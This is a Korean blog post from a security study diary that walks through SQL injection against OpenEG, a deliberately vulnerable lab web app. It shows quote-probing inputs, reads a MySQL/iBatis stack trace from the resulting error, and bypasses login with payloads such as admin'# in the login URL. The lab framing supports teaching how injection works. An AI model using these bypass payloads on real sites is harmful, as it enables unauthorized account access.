겉바속촉

[보안] OWASP, SQL Injection 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] OWASP, SQL Injection

겉바속촉 2021. 1. 21. 11:47
728x90
반응형

 

 

OWASP

 

  • 인젝션(injection) = 삽입
  • 입력 → 처리 → 출력
  • 입력값을 조작해서 처리로 전달 --> 그럼 처리가 잘못 수행되겠죠.

    즉, 입력값에 대한 검증을 수행하지 않고 사용하여 처리가 원래 의도와는 다르게 동작하게 됩니다.
    이게 바로 인젝션!!!!

 

 

 

확인해볼까요?~~

 

 

 

 

 

@Attacker

 

지난번에 proxy 설정해두었기 때문에 끄고 시작하겠습니다.

 

 

 

 

@Attacker에서 @WindowsXP의 OpenEG로 접속 (http://WINDOWS_XP_IP:8080/openeg)

 

 

 

 

 

@Attacker에서 @WindowsXP의 OpenEG로 접속  후에 로그인을 해보곘습니다.

 

 

사용자 입력이 다음과 같이 되게 해준다면

id: a

pw: b

 

 

서버로 전달은 다음과 같이 되겠네요

 

http://windowsxp_ip:8080/openeg/login.do?userid=a&userpw=b

원래는 post방식이겠지만 get방식으로 작성했습니다.

 

 

서버 내부 처리는 이렇게 진행될거에요.

 

select * from users where user_id = 'a' and user_pw = 'b

→ 일치하는 결과가 있으면 → 로그인 성공

→ 일치하는 결과가 없으면 → 로그인 실패

 

 

 

근데 해봤더니 500에러가 뜹니다:)

핳핳하핳하하핳

 

 

 

 

이런 경우에는 eclipse에서 서버 껐다가 켜주기

 

 

 

 

 

 

다시 로그인 해보니까 되고있네요?~

로그인 실패!

 

 

 

그럼 이제 값을 변경시켜줄게요!!

 

 

 

 

 

 

### 입력값에 내부 로직을 변경할 수 있는 홑따움표를 추가

 

 

 

사용자 입력

id: a'

pw: b'

 

 

서버로 전달

 

http://windowsxp_ip:8080/openeg/login.do?userid=a'&userpw=b'

 

 

 

서버 내부 처리

 

select * from users where user_id = 'a'' and user_pw = 'b'

 

 

쿼리가 홑따옴표있는 데까지 앞에서부터 실행될거에요.

홑따옴표는 문자열 데이터의 시작과 끝을 의미합니다.

 

그럼 쭈욱 실행되다가 홑따옴표가 두번 연속으로 나온다면 escape로 인식해서 그냥 넘어갑니다.

그래서 그 다음 홑따옴표까지를 문자열로 인식하는 것이죠

 

즉,  a'' and user_pw = 을 문자열로 보는 것입니다. 

 

 

 

 

 

한번 해보도록 할게요.

 

 

 

 

 

그럼 500에러 등장!!!

 

 

 

오류를 살펴보면 다음과 같아요.

 

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.springframework.jdbc.BadSqlGrammarException: SqlMapClient operation; bad SQL grammar []; nested exception is com.ibatis.common.jdbc.exception.NestedSQLException:   

--- The error occurred in kr/co/openeg/lab/login/dao/login.xml.  

--- The error occurred while applying a parameter map.  

--- Check the login.loginCheck2-InlineParameterMap.  

--- Check the statement (query failed).  

--- Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'b''' at line 1

org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:894)

org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:789)

javax.servlet.http.HttpServlet.service(HttpServlet.java:637)

javax.servlet.http.HttpServlet.service(HttpServlet.java:717)

 

spring프레임워크를 사용

db연동방식은 jdbc 사용

login.xml 파일에 쿼리가 있을 것이고

그 쿼리 맵의 이름은 login.loginCheck2겠군

 

MYsql 서버를 백에서 사용하고있겠다....

 

기타 등등을 유추할 수 있습니다.

 

syntax 오류임을 확인도 했구요!!!

 

 

 

 

 

### 오류 메시지를 통해서 수집한 정보(My SQL, 입력값에 대한 검증을 수행하지 않음)를 이용해서 추가 공격을 시도

 

 

 

사용자 입력

id: a'#

pw: b'#

 

 

서버로 전달

http://windowsxp_ip:8080/openeg/login.do?userid=a'#&userpw=b'#

 

 

서버 내부 처리

select * from users where user_id = 'a'#' and user_pw = 'b'#

 

---> 이 경우에는 # 전까지만 처리가 됩니다.

---> sql문에서는 주석처리할 때 쓰이는 #이기 때문에!!!

---> 그래서 #뒤에는 해석하지 않습니다.

 

 

원래의 쿼리는 사용자 ID와 PW가 일치하는 사용자 정보를 조회하는 것인데

지금의 쿼리는 사용자 ID가 일치하는 것을 조회하는 것으로 바뀌어버렸습니다.

 

이말인 즉슨, 식별정보에서 ID만으로 조회가 가능해지는 것입니다.

 

 

 

되는 지 확인해볼게요!!

 

 

 

오.... 로그인 되지 않았지만 오류도 나지 않습니다.

그럼 우리는 가입된 사용자 id만 알아내면 비밀번호를 모르더라도 로그인이 가능해지는 것입니다:)

 

 

 

 

 

 

 

 

### 해당 사이트에 가입된 회원의 ID를 유추

 

 

 

 

 

 

 

 

###admin 아이디로 가입을 시도 → 이미 가입되었다. 메시지를 확인

 

⇒ 해당 사이트에 admin 아이디를 사용하는 회원이 존재

 

 

 

 

 

사용자 입력

id: admin'#

pw: b'#

 

서버로 전달

http://windowsxp_ip:8080/openeg/login.do?userid=admin'#&userpw=b'#

 

서버 내부 처리

select * from users where user_id = 'admin'#' and user_pw = 'b'#
→ 일치하는 정보가 존재 → 로그인 성공

 

 

 

 

그럼 이제 아이디는 그냥 admin'#을 주고 비밀번호는 아무거나 입력 후 뒤에 '# 만 붙이면 okay~

 

 

 

 

이게 바로 SQL Injection 취약점을 이용한 인증과정을 우회하는 것!!!!

 

 

 

 

 

 

 

728x90
반응형